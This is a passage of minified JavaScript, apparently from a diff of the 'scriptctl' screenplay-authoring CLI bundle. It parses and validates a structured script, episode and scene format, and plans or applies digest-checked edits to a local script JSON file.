invalid.",m.source.line,m.slots[0]??""),l.has(m.slots[0])&&L("Scene repeats a prop reference.",m.source.line,m.slots[0]),l.add(m.slots[0]),d.push({prop_id:m.slots[0],state_ids:ud(m.slots.slice(1),m.source.line)})):L("Unknown scene header record.",m.source.line,m.type)}c===void 0&&L("Scene must declare location or [location].",e.peek().line,i);let u=e.tag("body",!1);De(u,[]);let y=[];for(;e.nextTag()?.name!=="body"||e.nextTag()?.closing!==!0;)y.push(lf(e));return De(e.tag("body",!0),[]),De(e.tag("scene",!0),[]),{...r===void 0?{}:{parent:r},value:{scene_id:i,...s===void 0?{}:{environment:s},location:c,actors:a,props:d,actions:y,...o===void 0?{}:{extend:o}}}}function wd(e,t,n){De(t,["id"]);let o=t.attrs.get("id")??"";V("episode",o)||L("Episode ID is invalid.",t.line,o);let i,r,s=[],c=0;for(;e.nextTag()?.name!=="episode"||e.nextTag()?.closing!==!0;){let a=ti(e);(a.aliases!==void 0||a.prompt!==void 0)&&L("Invalid episode child modifier.",e.peek().line,"modifier");let d=e.nextTag();if(d?.name==="scene"&&!d.closing){c=2,e.take(),s.push(yd(e,d,o,a.extend).value);continue}a.extend!==void 0&&L("extend must precede a scene here.",e.peek().line,"extend");let p=e.record(),l=p.type==="title"?0:p.type==="synopsis"?1:-1;l<c&&L("Episode records are not in canonical order.",p.source.line,p.type),c=l,p.type==="title"?(i!==void 0&&L("Episode title is duplicated.",p.source.line,p.type),p.slots.length!==0&&L("Episode title takes no slots.",p.source.line,p.type),i=p.content):p.type==="synopsis"?(r!==void 0&&L("Episode synopsis is duplicated.",p.source.line,p.type),p.slots.length!==0&&L("Episode synopsis takes no slots.",p.source.line,p.type),r=p.content):L("Unknown episode record.",p.source.line,p.type)}return De(e.tag("episode",!0),[]),{episode_id:o,...i===void 0?{}:{title:i},...r===void 0?{}:{synopsis:r},scenes:s,...n===void 0?{}:{extend:n}}}function fd(e,t){let n=e.attrs.get("range")??"",o=n.split("..");return(o.length!==2||!o[0]||!o[1]||!V(t,o[0])||!V(t,o[1]))&&L(`Span range must contain two ${t} IDs.`,e.line,n),[o[0],o[1]]}function kE(e,t,n){De(t,[]);let o,i,r,s,c,a,d,p,l=[],f=0;for(;e.nextTag()?.name!=="script"||e.nextTag()?.closing!==!0;){let u=ti(e);(u.aliases!==void 0||u.prompt!==void 0)&&L("Invalid script child modifier.",e.peek().line,"modifier");let y=e.nextTag();if(y?.name==="episode"&&!y.closing){f=8,e.take(),l.push(wd(e,y,u.extend));continue}u.extend!==void 0&&L("extend must precede an episode here.",e.peek().line,"extend");let m=e.record(),g=m.type==="title"?0:m.type==="worldview"?1:m.type==="worldview-raw"?2:m.type==="style"?3:m.type==="synopsis"?4:m.type==="logline"?5:m.type==="theme"?6:m.type==="main-characters"||m.type==="main-character"?7:-1;g<f&&L("Script records are not in canonical order.",m.source.line,m.type),f=g,m.type!=="main-character"&&m.slots.length!==0&&L("Script metadata record takes no slots.",m.source.line,m.type),m.type==="title"?(o!==void 0&&L("Script title is duplicated.",m.source.line,m.type),o=m.content):m.type==="worldview"?(i!==void 0&&L("Script worldview is duplicated.",m.source.line,m.type),i=m.content):m.type==="worldview-raw"?(r!==void 0&&L("Script worldview-raw is duplicated.",m.source.line,m.type),r=m.content):m.type==="style"?(s!==void 0&&L("Script style is duplicated.",m.source.line,m.type),s=m.content):m.type==="synopsis"?(c!==void 0&&L("Script synopsis is duplicated.",m.source.line,m.type),c=m.content):m.type==="logline"?(a!==void 0&&L("Script logline is duplicated.",m.source.line,m.type),a=m.content):m.type==="theme"?(d!==void 0&&L("Script theme is duplicated.",m.source.line,m.type),d=m.content):m.type==="main-characters"?(p!==void 0&&L("Script main-characters is duplicated.",m.source.line,m.type),p=[]):m.type==="main-character"&&p!==void 0&&m.slots.length===2&&m.content===""?p.push({name:m.slots[0],role:m.slots[1]}):L("Unknown script record.",m.source.line,m.type)}return De(e.tag("script",!0),[]),(o===void 0||i===void 0||s===void 0)&&L("Script target needs title, worldview, and style.",e.peek().line,"script"),{kind:"script",value:{title:o,worldview:i,style:s,episodes:l,...r===void 0?{}:{worldview_raw:r},...c===void 0?{}:{synopsis:c},...a===void 0?{}:{logline:a},...d===void 0?{}:{theme:d},...p===void 0?{}:{main_characters:p},...n===void 0?{}:{extend:n}}}}function uf(e){let t=new gd(e),n=t.tag("authoring",!1);De(n,["version"]),n.attrs.get("version")!=="1"&&L("authoring version must be 1.",1,n.attrs.get("version")??"<missing>");let o=t.nextTag()?.name==="create"?IE(t):[],i=[];for(;t.nextTag()?.name!=="authoring"||t.nextTag()?.closing!==!0;){let s=ti(t);(s.aliases!==void 0||s.prompt!==void 0)&&L("Invalid target modifier.",t.peek().line,"modifier");let c=t.take(),a=md(c.raw,c.line);if((!a||a.closing)&&L("Expected an authoring target.",c.line,c.raw),a.name==="script")i.push(kE(t,a,s.extend));else if(a.name==="episode")i.push({kind:"episode",value:wd(t,a,s.extend)});else if(a.name==="scene"){let d=yd(t,a,void 0,s.extend);d.parent||L("Top-level scene needs parent.",c.line,c.raw),i.push({kind:"scene",parent:d.parent,value:d.value})}else if(a.name==="episode-span"){s.extend!==void 0&&L("A span cannot carry node extensions.",c.line,c.raw),De(a,["range"]);let[d,p]=fd(a,"episode"),l=[];for(;t.nextTag()?.name!=="episode-span"||t.nextTag()?.closing!==!0;){let f=ti(t);(f.aliases!==void 0||f.prompt!==void 0)&&L("Invalid episode child modifier.",t.peek().line,"modifier");let u=t.tag("episode",!1);l.push(wd(t,u,f.extend))}De(t.tag("episode-span",!0),[]),i.push({kind:"episode-span",from:d,through:p,values:l})}else if(a.name==="scene-span"){s.extend!==void 0&&L("A span cannot carry node extensions.",c.line,c.raw),De(a,["parent","range"]);let[d,p]=fd(a,"scene"),l=a.attrs.get("parent")??L("scene-span needs parent.",c.line,c.raw);V("episode",l)||L("scene-span parent must be an Episode ID.",c.line,l);let f=[];for(;t.nextTag()?.name!=="scene-span"||t.nextTag()?.closing!==!0;){let u=ti(t);(u.aliases!==void 0||u.prompt!==void 0)&&L("Invalid scene child modifier.",t.peek().line,"modifier");let y=t.tag("scene",!1);f.push(yd(t,y,l,u.extend).value)}De(t.tag("scene-span",!0),[]),i.push({kind:"scene-span",parent:l,from:d,through:p,values:f})}else if(a.name==="action-span"){s.extend!==void 0&&L("A span cannot carry node extensions.",c.line,c.raw),De(a,["parent","range"]);let[d,p]=fd(a,"action"),l=a.attrs.get("parent")??L("action-span needs parent.",c.line,c.raw);V("scene",l)||L("action-span parent must be a Scene ID.",c.line,l),De(t.tag("body",!1),[]);let f=[];for(;t.nextTag()?.name!=="body"||t.nextTag()?.closing!==!0;)f.push(lf(t));De(t.tag("body",!0),[]),De(t.tag("action-span",!0),[]),i.push({kind:"action-span",parent:l,from:d,through:p,values:f})}else L("Unknown authoring target.",c.line,a.name)}De(t.tag("authoring",!0),[]),(t.index!==t.lines.length||i.length===0)&&L("Authoring file has trailing content or no targets.",t.peek().line,"<root>");let r=i[0].kind;return i.every(s=>s.kind===r)||L("All targets must have the same kind.",1,r),{declarations:o,targets:i,targetKind:r}}function In(e){if(Array.isArray(e))return e.map(t=>In(t));if(oe(e)){let t={};for(let n of Object.keys(e).sort())t[n]=In(e[n]);return t}return e}function Ed(e){if(e.length===0)return[];let t={};for(let i of e){let r=v(i.severity);t[r]=(t[r]??0)+1}let n=Object.entries(t).sort(([i],[r])=>i.localeCompare(r)).map(([i,r])=>`${i}: ${r}`),o=e[0];return[n.join("; "),`first: ${o.code} - ${o.summary}`,...o.repair_hint?[`repair: ${o.repair_hint}`]:[]]}function ff(e,t){if(!(t.ok||e!==null&&Nc(Pe(e),t)))throw new S("The proposed document is not a valid or strictly improved Script v4.",{exitCode:b,errorCode:"AUTHORING_VALIDATION_FAILED",data:{actual:t.errors.slice(0,20).map(n=>`${n.path}: ${n.message}`)}})}function Ce(e,t){throw new S(e,{exitCode:b,errorCode:"AUTHORING_APPLY_INVALID",data:{actual:t}})}function Sd(e){return{ids:e.map(t=>t.action_id),counts:{episodes:0,scenes:0,actions:e.length}}}function Ki(e){return{ids:e.flatMap(t=>[t.scene_id,...t.actions.map(n=>n.action_id)]),counts:{episodes:0,scenes:e.length,actions:e.reduce((t,n)=>t+n.actions.length,0)}}}function So(e){return{ids:e.flatMap(t=>[t.episode_id,...t.scenes.flatMap(n=>[n.scene_id,...n.actions.map(o=>o.action_id)])]),counts:{episodes:e.length,scenes:e.reduce((t,n)=>t+n.scenes.length,0),actions:e.reduce((t,n)=>t+n.scenes.reduce((o,i)=>o+i.actions.length,0),0)}}}function bE(e){return e.kind==="script"?So(e.value.episodes):e.kind==="episode"?So([e.value]):e.kind==="episode-span"?So(e.values):e.kind==="scene"?Ki([e.value]):e.kind==="scene-span"?Ki(e.values):Sd(e.values)}function vE(e){return{actors:e.filter(t=>t.kind==="actor").map(t=>structuredClone(t.value)),locations:e.filter(t=>t.kind==="location").map(t=>structuredClone(t.value)),props:e.filter(t=>t.kind==="prop").map(t=>structuredClone(t.value))}}function xd(e,t){return JSON.stringify(In(e))===JSON.stringify(In(t))}function mf(e,t){let n=new Set(e===null?[]:[...e.actors.map(d=>d.actor_id),...e.locations.map(d=>d.location_id),...e.props.map(d=>d.prop_id)]),o=new Set(e===null?[]:[...e.actors.flatMap(d=>d.states.map(p=>`${d.actor_id}/${p.state_id}`)),...e.locations.flatMap(d=>d.states.map(p=>`${d.location_id}/${p.state_id}`)),...e.props.flatMap(d=>d.states.map(p=>`${d.prop_id}/${p.state_id}`))]),i=[],r=[],s=[],c=[],a=d=>{(o.has(d)?c:s).push(d)};for(let d of t){if(d.kind==="state"){n.has(d.ownerId)&&r.push(d.ownerId),a(`${d.ownerId}/${d.value.state_id}`);continue}let p=d.kind==="actor"?d.value.actor_id:d.kind==="location"?d.value.location_id:d.value.prop_id;(n.has(p)?r:i).push(p),d.value.states.forEach(l=>{a(`${p}/${l.state_id}`)})}return{createdAssets:i,existingAssets:[...new Set(r)],createdStates:s,existingStates:c}}function gf(e){let t=new Set;for(let n of e.episodes)for(let o of n.scenes)o.location&&t.add(o.location.location_id),o.actors.forEach(i=>t.add(i.actor_id)),o.props.forEach(i=>t.add(i.prop_id)),o.actions.forEach(i=>{i.transition_prompt&&t.add(i.transition_prompt.target)});return[...e.actors.map(n=>n.actor_id),...e.locations.map(n=>n.location_id),...e.props.map(n=>n.prop_id)].filter(n=>!t.has(n))}function hf(e){return[...e.actors.flatMap(t=>[t.actor_id,...t.states.map(n=>`${t.actor_id}/${n.state_id}`)]),...e.locations.flatMap(t=>[t.location_id,...t.states.map(n=>`${t.location_id}/${n.state_id}`)]),...e.props.flatMap(t=>[t.prop_id,...t.states.map(n=>`${t.prop_id}/${n.state_id}`)]),...e.episodes.flatMap(t=>[t.episode_id,...t.scenes.flatMap(n=>[n.scene_id,...n.actions.map(o=>o.action_id)])])]}function yf(e,t){let n=e===null?[]:hf(e),o=hf(t),i=new Set(n),r=new Set(o);return{createdIds:o.filter(s=>!i.has(s)),removedIds:n.filter(s=>!r.has(s)),retainedIds:n.filter(s=>r.has(s))}}function OE(e,t){for(let n of t)if(n.kind==="actor")e.actors.some(o=>o.actor_id===n.value.actor_id)&&Ce("Declaration cannot redefine an existing actor.",[n.value.actor_id]),e.actors.push(structuredClone(n.value));else if(n.kind==="location")e.locations.some(o=>o.location_id===n.value.location_id)&&Ce("Declaration cannot redefine an existing location.",[n.value.location_id]),e.locations.push(structuredClone(n.value));else if(n.kind==="prop")e.props.some(o=>o.prop_id===n.value.prop_id)&&Ce("Declaration cannot redefine an existing prop.",[n.value.prop_id]),e.props.push(structuredClone(n.value));else{let o=e.actors.find(i=>i.actor_id===n.ownerId)??e.locations.find(i=>i.location_id===n.ownerId)??e.props.find(i=>i.prop_id===n.ownerId);o||Ce("State declaration owner was not found.",[n.ownerId]),o.states.some(i=>i.state_id===n.value.state_id)&&Ce("State declaration cannot redefine an existing state.",[`${n.ownerId}/${n.value.state_id}`]),o.states.push(structuredClone(n.value))}}function Wt(e,t,n){let o=e.indexOf(t),i=e.indexOf(n);return(o<0||i<0)&&Ce("Span endpoint was not found.",[t,n]),[Math.min(o,i),Math.max(o,i)]}function RE(e,t){if(t.kind==="script")return[0,0];if(t.kind==="episode"||t.kind==="episode-span"){let o=e.episodes.map(i=>i.episode_id);return t.kind==="episode"?Wt(o,t.value.episode_id,t.value.episode_id):Wt(o,t.from,t.through)}if(t.kind==="scene"||t.kind==="scene-span"){let o=e.episodes.flatMap(i=>i.scenes.map(r=>r.scene_id));return t.kind==="scene"?Wt(o,t.value.scene_id,t.value.scene_id):Wt(o,t.from,t.through)}let n=e.episodes.flatMap(o=>o.scenes.flatMap(i=>i.actions.map(r=>r.action_id)));return Wt(n,t.from,t.through)}function ME(e,t){let n=-1;for(let o of t){let[i,r]=RE(e,o);i<=n&&Ce("Replace targets must follow current document order without overlap.",[xf(o)]),n=r}}function xf(e){return e.kind==="script"?"script":e.kind==="episode"?e.value.episode_id:e.kind==="scene"?e.value.scene_id:`${e.from}..${e.through}`}function wf(e,t){if(t.kind==="script")return{...So(e.episodes),siblings:0};if(t.kind==="episode"){let r=En(e,t.value.episode_id);return{...So(r?[r.episode]:[]),siblings:Math.max(0,e.episodes.length-(r?1:0))}}if(t.kind==="episode-span"){let[r,s]=Wt(e.episodes.map(c=>c.episode_id),t.from,t.through);return{...So(e.episodes.slice(r,s+1)),siblings:e.episodes.length-(s-r+1)}}if(t.kind==="scene"){let r=Kn(e,t.value.scene_id),s=En(e,t.parent)?.episode;return{...Ki(r?[r.scene]:[]),siblings:r?Math.max(0,r.episode.scenes.length-1):s?.scenes.length??0}}if(t.kind==="scene-span"){let r=En(e,t.parent)?.episode;if(!r)return{...Ki([]),siblings:0};let[s,c]=Wt(r.scenes.map(a=>a.scene_id),t.from,t.through);return{...Ki(r.scenes.slice(s,c+1)),siblings:r.scenes.length-(c-s+1)}}let n=Kn(e,t.parent)?.scene;if(!n)return{...Sd([]),siblings:0};let[o,i]=Wt(n.actions.map(r=>r.action_id),t.from,t.through);return{...Sd(n.actions.slice(o,i+1)),siblings:n.actions.length-(i-o+1)}}function _f(e,t){let n=bE(e),o=new Set(t.ids),i=new Set(n.ids);return{kind:e.kind,address:xf(e),before:t.counts,after:n.counts,retainedIds:t.ids.filter(r=>i.has(r)),createdIds:n.ids.filter(r=>!o.has(r)),removedIds:t.ids.filter(r=>!i.has(r)),untouchedSiblings:t.siblings}}function LE(e,t){if(t.kind==="script"&&Ce("An existing Script v4 is not replaced through a script root.",["script"]),t.kind==="episode"){let n=En(e,t.value.episode_id);n||Ce("Episode replacement target was not found.",[t.value.episode_id]),e.episodes[n.episodeIndex]=structuredClone(t.value)}else if(t.kind==="episode-span"){let[n,o]=Wt(e.episodes.map(i=>i.episode_id),t.from,t.through);t.values.length===0&&Ce("Episode span replacement cannot be empty.",[t.from,t.through]),e.episodes.splice(n,o-n+1,...structuredClone(t.values))}else if(t.kind==="scene"){let n=Kn(e,t.value.scene_id);(!n||n.episode.episode_id!==t.parent)&&Ce("Scene replacement target was not found under its parent.",[t.parent,t.value.scene_id]),n.episode.scenes[n.sceneIndex]=structuredClone(t.value)}else if(t.kind==="scene-span"){let n=En(e,t.parent)?.episode;n||Ce("Scene span parent was not found.",[t.parent]);let[o,i]=Wt(n.scenes.map(r=>r.scene_id),t.from,t.through);t.values.length===0&&Ce("Scene span replacement cannot be empty.",[t.from,t.through]),n.scenes.splice(o,i-o+1,...structuredClone(t.values))}else{let n=Kn(e,t.parent)?.scene;n||Ce("Action span parent was not found.",[t.parent]);let[o,i]=Wt(n.actions.map(r=>r.action_id),t.from,t.through);t.values.length===0&&Ce("Action span replacement cannot be empty.",[t.from,t.through]),n.actions.splice(o,i-o+1,...structuredClone(t.values))}}function NE(e,t){if(t.kind==="episode")e.episodes.push(structuredClone(t.value));else if(t.kind==="scene"){let n=En(e,t.parent)?.episode;n||Ce("Scene create parent was not found.",[t.parent]),n.scenes.push(structuredClone(t.value))}else Ce("This target kind does not support create against an existing script.",[t.kind])}function Ef(e){if(e.targets.length!==1||e.targets[0].kind!=="script")return Ce("Script create requires exactly one script target.",[e.targetKind]);if(e.declarations.some(n=>n.kind==="state"))return Ce("Standalone state declarations need an existing owner.",["state"]);let t=e.targets[0];return{version:4,...structuredClone(t.value),...vE(e.declarations)}}function Sf(e,t,n){let o;if(e===null)n!=="create"&&Ce("A missing target requires one script create target.",[n,t.targetKind]),o=Ef(t);else if(n==="create"&&t.targetKind==="script")o=Ef(t),xd(o,e)||Ce("Script create retry differs from the existing script.",["script"]);else{o=structuredClone(e),n==="replace"&&ME(e,t.targets),OE(o,t.declarations);let r=t.targets.map(a=>wf(e,a));if(n==="replace")for(let a of[...t.targets].reverse())LE(o,a);else for(let a of t.targets)NE(o,a);let s=t.targets.map((a,d)=>_f(a,r[d])),c=Pe(o);return ff(e,c),{script:o,changed:!xd(e,o),validation:c,targets:s,declarations:mf(e,t.declarations),retainedOrphanAssets:gf(o),identity:yf(e,o)}}let i=Pe(o);return ff(e,i),{script:o,changed:e===null||!xd(e,o),validation:i,declarations:mf(e,t.declarations),retainedOrphanAssets:gf(o),identity:yf(e,o),targets:t.targets.map(r=>{let s=e===null?{...So([]),siblings:0}:wf(e,r);return _f(r,s)})}}function ni(e,t){throw new S(e,{exitCode:B,errorCode:"AUTHORING_USAGE_INVALID",hint:"Choose exactly one mode and pass a regular authoring source file.",data:{expected:["scriptctl authoring write <file> (--create|--replace) [--apply --plan <digest>]"],actual:t}})}function UE(e){(!e||e==="-")&&ni("Authoring input must be a named file.",[e||"<missing>"]);let t=If.resolve(e),n;try{n=$r.statSync(t)}catch{throw new S("The authoring source file does not exist.",{exitCode:b,errorCode:"AUTHORING_SOURCE_UNAVAILABLE",hint:"Write the complete authoring draft to a file, then rerun the command.",data:{actual:[t]}})}n.isFile()||ni("Authoring input must be a regular file.",[t]);let o=$r.readFileSync(t);return{absolutePath:t,bytes:o,text:o.toString("utf-8")}}function PE(e){let t=Or(e);if(t===null)return{script:null,baseline:"missing",fingerprint:t};let n;try{n=JSON.parse($r.readFileSync(e,"utf-8"))}catch(i){throw new S("The local script is not valid JSON.",{exitCode:b,errorCode:"SCRIPT_JSON_INVALID",hint:"Repair the local JSON file, then rerun authoring.",data:{actual:[e,i instanceof Error?i.message:String(i)]}})}let o=Js(n);return{script:o,baseline:Je(o),fingerprint:t}}function CE(e){let t=e.create===!0,n=e.replace===!0;return t===n&&ni("Choose exactly one authoring mode.",[`create=${t}`,`replace=${n}`]),t?"create":"replace"}function Af(e){return`sha256:${_e(JSON.stringify(e))}`}function TE(e){return e.targets.reduce((t,n)=>({before:{episodes:t.before.episodes+n.before.episodes,scenes:t.before.scenes+n.before.scenes,actions:t.before.actions+n.before.actions},after:{episodes:t.after.episodes+n.after.episodes,scenes:t.after.scenes+n.after.scenes,actions:t.after.actions+n.after.actions}}),{before:{episodes:0,scenes:0,actions:0},after:{episodes:0,scenes:0,actions:0}})}function VE(e){let t=e.targets.map((n,o)=>[`target[${o}]=${n.address}`,`kind=${n.kind}`,`before=${JSON.stringify(n.before)}`,`after=${JSON.stringify(n.after)}`,`retained=${JSON.stringify(n.retainedIds)}`,`created=${JSON.stringify(n.createdIds)}`,`removed=${JSON.stringify(n.removedIds)}`,`untouched_siblings=${n.untouchedSiblings}`].join(" "));t.push(`created_assets=${JSON.stringify(e.declarations.createdAssets)}`,`existing_assets=${JSON.stringify(e.declarations.existingAssets)}`,`created_states=${JSON.stringify(e.declarations.createdStates)}`,`existing_states=${JSON.stringify(e.declarations.existingStates)}`,`retained_orphan_assets=${JSON.stringify(e.retainedOrphanAssets)}`,`validation_ok=${e.validation.ok} errors=${e.validation.errors.length} warnings=${e.validation.warnings.length}`);for(let n of e.validation.errors)t.push(`validation_error=${n.path} ${n.code} ${n.message}`);for(let n of e.validation.warnings)t.push(`validation_warning=${n.path} ${n.code} ${n.message}`);return t}function $E(e,t,n,o,i){let r=uf(t.text),s=i.script===null?null:_n(i.script),c=Sf(s,r,n),a=`sha256:${Id.createHash("sha256").update(t.bytes).digest("hex")}`,d={version:1,sourceDigest:a,mode:n,targetKind:r.targetKind,targets:c.targets.map(g=>g.address),baseline:i.baseline,plan:{targets:c.targets,declarations:c.declarations,retainedOrphanAssets:c.retainedOrphanAssets,identity:c.identity,validation:c.validation}},p=Af(d),l=e.apply===!0,f=v(e.plan).trim();if(l&&!f&&ni("--apply requires the exact digest returned by the current plan.",["plan=<missing>"]),!l&&f&&ni("--plan is only valid together with --apply.",[`plan=${f}`]),l&&f!==p)throw new S("The supplied plan does not match the current source, mode, targets, or script baseline.",{exitCode:b,errorCode:"AUTHORING_PLAN_MISMATCH",hint:"Review the newly computed plan, then apply its exact digest.",data:{expected:[p],actual:[f]}});l&&c.changed&&(i.script===null?Rr(o,i.fingerprint):Gt(o,i.baseline),Fe(o,c.script));let u=c.targets.map((g,w)=>`target[${w}]=${g.address} kind=${g.kind} before=${JSON.stringify(g.before)} after=${JSON.stringify(g.after)} retained=${JSON.stringify(g.retainedIds)} created=${JSON.stringify(g.createdIds)} removed=${JSON.stringify(g.removedIds)} untouched_siblings=${g.untouchedSiblings}`);return u.push(`created_assets=${JSON.stringify(c.declarations.createdAssets)}`,`existing_assets=${JSON.stringify(c.declarations.existingAssets)}`,`created_states=${JSON.stringify(c.declarations.createdStates)}`,`existing_states=${JSON.stringify(c.declarations.existingStates)}`,`retained_orphan_assets=${JSON.stringify(c.retainedOrphanAssets)}`,`created_ids=${JSON.stringify(c.identity.createdIds)}`,`removed_ids=${JSON.stringify(c.identity.removedIds)}`,`retained_ids=${JSON.stringify(c.identity.retainedIds)}`),[{text:[`${l?"Applied":"Planned"} ${c.targets.length} ${r.targetKind} target(s); validation ${c.validation.ok?"passed":"needs repair"}`,`plan: ${p}`,...u].join(`
132
+ `),data:{op:"write",changed:c.changed,source_path:t.absolutePath,source_digest:a,script_path:o,baseline:i.baseline,script_hash:i.baseline==="missing"?null:i.baseline,plan_digest:p,plan:d.plan,mode:n,target_kind:r.targetKind,targets:c.targets,declarations:c.declarations,retained_orphan_assets:c.retainedOrphanAssets,identity:c.identity,validation:c.validation,applied:l,script_version:4}},G]}function kf(e){let t=Array.isArray(e._args)?e._args:[],n=typeof t[0]=="string"?t[0]:"",o=UE(n),i=CE(e),r=me(e),s=PE(r);if(s.script===null||s.script.version===4)return $E(e,o,i,r,s);let c=pf(o.text),a=af(Tt(s.script),c,i),d=`sha256:${Id.createHash("sha256").update(o.bytes).digest("hex")}`,p={version:1,sourceDigest:d,mode:i,targetKind:c.targetKind,targets:a.targets.map(w=>w.address),baseline:s.baseline,plan:{targets:a.targets,declarations:a.declarations,retainedOrphanAssets:a.retainedOrphanAssets,validation:a.validation}},l=Af(p),f=e.apply===!0,u=v(e.plan).trim();if(f&&!u&&ni("--apply requires the exact digest returned by the current plan.",["plan=<missing>"]),!f&&u&&ni("--plan is only valid together with --apply.",[`plan=${u}`]),f&&u!==l)throw new S("The supplied plan does not match the current source, mode, targets, or script baseline.",{exitCode:b,errorCode:"AUTHORING_PLAN_MISMATCH",hint:"Review the newly computed plan, then apply its exact digest.",data:{expected:[l],actual:[u]}});f&&a.changed&&(s.script===null?Rr(r,s.fingerprint):Gt(r,s.baseline),Fe(r,a.script));let y=TE(a);return[{text:[`${f?"Applied":"Planned"} ${a.targets.length} ${c.targetKind} target(s); episodes ${y.before.episodes}\u2192${y.after.episodes}, scenes ${y.before.scenes}\u2192${y.after.scenes}, actions ${y.before.actions}\u2192${y.after.actions}`,`plan: ${l}`,...VE(a)].join(`
133
+ `),data:{op:"write",changed:a.changed,source_path:o.absolutePath,source_digest:d,script_path:r,baseline:s.baseline,script_hash:s.baseline==="missing"?null:s.baseline,plan_digest:l,plan:p.plan,mode:i,target_kind:c.targetKind,targets:a.targets,declarations:a.declarations,counts:y,validation:a.validation,retained_orphan_assets:a.retainedOrphanAssets,applied:f,script_version:3}},G]}function vf(e){return Array.isArray(e.rows)}function DE(e){return e.endsWith(`
134
134
  `)?e:`${e}
135
- `}function vf(e){return Array.isArray(e)?e.map(t=>String(t).replace(/[\r\n]+/g," ")):[]}function BE(e){return e==null?"":(typeof e=="string"?e:JSON.stringify(e)).replace(/\t/g," ").replace(/\r?\n/g," ")}function JE(e){if(!Of(e)||e.rows.length===0||!Array.isArray(e.row_columns))return null;let t=e.row_columns.filter(n=>typeof n=="string");return t.length===0?null:[t.join(" "),...e.rows.map(n=>t.map(o=>BE(n[o])).join(" "))].join(`
136
- `)}function Rf(e,t,n,o){if(!(e.text===""&&Object.keys(e.data).length===0)){if(o==="addr"&&Of(e.data)){if(e.data.rows.length===0){process.stdout.write("");return}let i=e.data.rows.map(r=>String(r.addr??""));if(i.every(r=>r.length>0)){process.stdout.write(i.join(`
135
+ `}function bf(e){return Array.isArray(e)?e.map(t=>String(t).replace(/[\r\n]+/g," ")):[]}function GE(e){return e==null?"":(typeof e=="string"?e:JSON.stringify(e)).replace(/\t/g," ").replace(/\r?\n/g," ")}function BE(e){if(!vf(e)||e.rows.length===0||!Array.isArray(e.row_columns))return null;let t=e.row_columns.filter(n=>typeof n=="string");return t.length===0?null:[t.join(" "),...e.rows.map(n=>t.map(o=>GE(n[o])).join(" "))].join(`
136
+ `)}function Of(e,t,n,o){if(!(e.text===""&&Object.keys(e.data).length===0)){if(o==="addr"&&vf(e.data)){if(e.data.rows.length===0){process.stdout.write("");return}let i=e.data.rows.map(r=>String(r.addr??""));if(i.every(r=>r.length>0)){process.stdout.write(i.join(`
137
137
  `)+`
138
138
  `);return}}if(n){let i={ok:t===G,exit_code:t,...e.data};i.ok=t===G,i.exit_code=t,process.stdout.write(JSON.stringify(i,null,2)+`
139
- `)}else process.stdout.write(GE(JE(e.data)??e.text))}}function Br(e,t){if(t){let n={ok:!1,exit_code:e.exitCode,error_code:e.errorCode,message:e.message,...e.hint?{hint:e.hint}:{},...e.data};n.ok=!1,n.exit_code=e.exitCode,n.error_code=e.errorCode,n.message=e.message,e.hint&&(n.hint=e.hint),process.stdout.write(JSON.stringify(n,null,2)+`
140
- `)}else{let n=vf(e.data.actual),o=vf(e.data.expected),r=[`error: ${n.length>0?`${e.message.replace(/\.$/,"")}: ${n[0]}`:e.message}`];n.length>1&&r.push(`actual: ${n.slice(1).join("; ")}`),o.length>0&&r.push(`expected: ${o.join("; ")}`),e.hint&&r.push(e.hint),process.stderr.write(`${r.join(`
139
+ `)}else process.stdout.write(DE(BE(e.data)??e.text))}}function Dr(e,t){if(t){let n={ok:!1,exit_code:e.exitCode,error_code:e.errorCode,message:e.message,...e.hint?{hint:e.hint}:{},...e.data};n.ok=!1,n.exit_code=e.exitCode,n.error_code=e.errorCode,n.message=e.message,e.hint&&(n.hint=e.hint),process.stdout.write(JSON.stringify(n,null,2)+`
140
+ `)}else{let n=bf(e.data.actual),o=bf(e.data.expected),r=[`error: ${n.length>0?`${e.message.replace(/\.$/,"")}: ${n[0]}`:e.message}`];n.length>1&&r.push(`actual: ${n.slice(1).join("; ")}`),o.length>0&&r.push(`expected: ${o.join("; ")}`),e.hint&&r.push(e.hint),process.stderr.write(`${r.join(`
141
141
  `)}
142
- `)}return e.exitCode}var kd=new WeakMap;function KE(e){return e.replace(/([A-Z])/g,"_$1").toLowerCase()}function jE(e){return Object.fromEntries(Object.entries(e).map(([t,n])=>[KE(t),n]))}function zE(e){let t=[],n=e;for(;n;)t.unshift(n),n=n.parent;return Object.assign({},...t.map(o=>o.opts()))}function H(e,t){return async(...n)=>{let o=n[n.length-1],i=n.slice(0,-2).filter(d=>d!==void 0),r=jE(zE(o));i.length>0&&(r._args=i),t.jsonMode=!!r.json,t.format=typeof r.format=="string"?r.format:void 0;let s=async()=>e(r),[c,a]=kd.get(o)==="write"?await Ds(me(r),s):await s();Rf(c,a,t.jsonMode,t.format),t.exitCode=a}}function Me(e,t){return e.registeredArguments.forEach((n,o)=>{n.description=t[o]??""}),e}function ee(e,t="write"){return kd.set(e,t),e.option("-p, --script-path <path>","Script JSON file (default: ./workspace/script.json)")}function bd(e){return kd.set(e,"write"),e.option("-p, --script-path <path>","Local script JSON file (default: ./workspace/script.json)").option("--project-group-no <no>","Remote project group number")}function Mf(e,t){let n=e.command("authoring").description("Structured screenplay compilation and atomic application transactions"),o=ee(n.command("write <file>")).description("Plan or apply a complete structured authoring document").option("--create","Create the selected target").option("--replace","Replace the selected target").option("--apply","Apply the exact plan").option("--plan <digest>","Exact plan digest to apply").action(H(bf,t));Me(o,["Structured .scriptctl file"]);let i=ee(n.command("compose <file>")).description("Compile a readable scene JSON draft with generated identities and timing").option("--apply","Apply the exact plan").option("--plan <digest>","Exact plan digest to apply").action(H(Vu,t));Me(i,["Readable scene JSON file"]);let r=n.command("export").description("Export complete structured content, including identities and extensions"),s=["script","episodes","episode-spans","scenes","scene-spans","action-spans"];for(let c of s){let a=ee(r.command(c),"read").description(`Export structured ${c}`).requiredOption("-o, --output <file>","Destination .scriptctl file");c!=="script"&&a.requiredOption("-i, --in <selector>","Formal ID or @ep:N selector / inclusive range"),a.action(H(d=>qu(c,d),t))}}import*as Xs from"node:fs";import*as Ud from"node:path";import*as Rd from"node:fs";import*as zi from"node:path";import{fileURLToPath as HE}from"node:url";var Od="@lingjingai/scriptctl",vd="";function Md(){if(vd)return vd;let e=zi.dirname(HE(import.meta.url));for(;;){try{let n=Rd.readFileSync(zi.join(e,"package.json"),"utf-8");if(JSON.parse(n).name===Od)return vd=e,e}catch{}let t=zi.dirname(e);if(t===e)throw new Error(`${Od} package root not found`);e=t}}function Hi(){let 